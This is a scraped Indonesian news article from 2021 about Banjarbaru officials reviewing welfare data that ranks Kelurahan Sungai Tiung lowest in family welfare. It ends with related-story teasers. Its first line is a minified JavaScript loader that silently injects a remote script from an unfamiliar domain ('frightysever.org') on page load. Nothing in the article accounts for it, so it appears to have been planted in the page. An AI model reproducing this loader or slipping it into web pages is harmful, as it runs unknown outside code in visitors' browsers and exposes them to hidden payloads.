(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Berdasarkan rekapitulasi data terpadu kesejahteraan sosial tahun 2021 dari Kementerian Sosial RI menyebutkan Kelurahan Sungai Tiung, Kota Banjarbaru merupakan kelurahan dengan angka tertinggi tingkat kesejahteraan di bawah rata-rata.
Yaitu sejumlah 1.699 atau 61,71 % dari keseluruhan kepala keluarga (KK) di Kelurahan Sungai Tiung yang berjumlah 2.753 KK.
Kondisi ini menjadi skala prioritas bagi Pemko Banjarbaru semua untuk melakukan penyusunan kebijakan, program dan kegiatan inovatif dan afirmatif pada sisi penyedia pelayanan (supply side) dan penerima manfaat (demand side) di Kelurahan Sungai Tiung.
Baca juga: Rekontruksi Kasus Karhutla di Kelurahan Syamsudin Noor, Pria ini Jadi Tersangka
Angka tersebut terungkap saat Wali Kota Banjarbaru Aditya Mufti Ariffin memimpin rapat koordinasi Tim Peningkatan Kualitas Keluarga Daerah (TPK2D) tingkat Provinsi Kalimantan Selatan, evaluasi peningkatan kualitas keluarga tahun 2021 di Kota Banjarbaru, Selasa (22/6/2021) pagi, di Aula Gawi Sabarataan Pemerintah Kota Banjarbaru.
Rakor dihadiri Kepala Dinas Pemberdayaan Perempuan dan Perlindungan Anak (DPPPA) Provinsi Kalsel Husnul Hatimah, Kepala Dinas Dalduk KB PMP dan PA Kota Banjarbaru Mahrina Noor.
Kepala DPPPA Provinsi Kalsel, Husnul Hatimah mengatakan bahwa berdasarkan Peraturan Gubernur Nomor 100 tahun 2019 ada empat komponen yang diatur dalam meningkatkan kualitas keluarga.
“Pertama untuk mencegah perkawinan anak, kedua pemberian hak anak dalam air susu ekslusif, tiga penyediaan fasilitas kesehatan untuk ibu hamil, sebelum hamil setelah melahirkan dan keempat ketahanan keluarga,” terangnya.
Terkait ketahanan dan kesejahteraan merupakan hal yang penting untuk peningkatan kualitas keluarga. Upaya peningkatan kualitas keluarga dilakukan dengan pelaksanaan pembangunan keluarga, dengan berpedoman pada konsep ketahan keluarga dan kesejahteraan yang di dalamnya menyangkut landasan legalitas dan keutuhan keluarga, ketahanan fisik, ketahanan ekonomi, ketahanan sosial psikologi, dan ketahanan sosial budaya yang tertuang dalam 24 indikator.
Baca juga: Banua Berinovasi, Kontribusi Baristand Industri Banjarbaru Membangun Industri Banua
Wali Kota Banjarbaru mengatakan, data tingkat kesejahteraan di Kelurahan Sungai Tiung yang sudah diperoleh oleh tim peningkatan kualitas keluarga Kota Banjarbaru melalui pengisian kuisioner tersebut dapat digunakan dan segera ditindaklanjuti oleh SKPD terkait.
“Data-data yang sudah didapatkan, seluruh tim peningkatan kualitas keluarga Kota Banjarbaru dan seluruh SKPD terkait dapat membuat rencana aksi untuk dua tahun kedepan,” ujarnya.
Sesuai dengan rekapitulasi data terpadu kesejahteraan sosial urutan terendah setelah Kelurahan Sungai Tiung adalah Kelurahan Cempaka dan Kelurahan Guntung Manggis.
“Seluruh SKPD dalam penyusunan anggaran dan rencana kerja diharapkan sudah dapat menentukan fokus kegiatan yang mana pada tahun anggaran 2022,” pintanya. (kanalkalimantan.com/dewi)
Reporter: dewi
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru akan ikut… Read More
KANALKALIMANTAN.COM - Menjelang liburan Natal 2024 dan Tahun Baru 2025 (Nataru), kebutuhan akan layanan perbankan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dua Ibu Rumah Tangga (IRT) dibekuk Satuan Reserse Narkoba (Satrenarkoba) Kepolisian Resor… Read More
KANALKALIMANTAN.COM, BANJARBARU - Menyambut Siaga Kelistrikan Natal 2024 dan Tahun Baru 2025, PT PLN (Persero)… Read More
KANALKALIMANTAN.COM, CILEGON - Wakil Menteri Badan Usaha Milik Negara (BUMN) Aminuddin Ma’ruf memastikan infrastruktur Stasiun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sesosok jasad lelaki tak bernyawa ditemukan tergeletak di pinggir jalan depan kantor… Read More
This website uses cookies.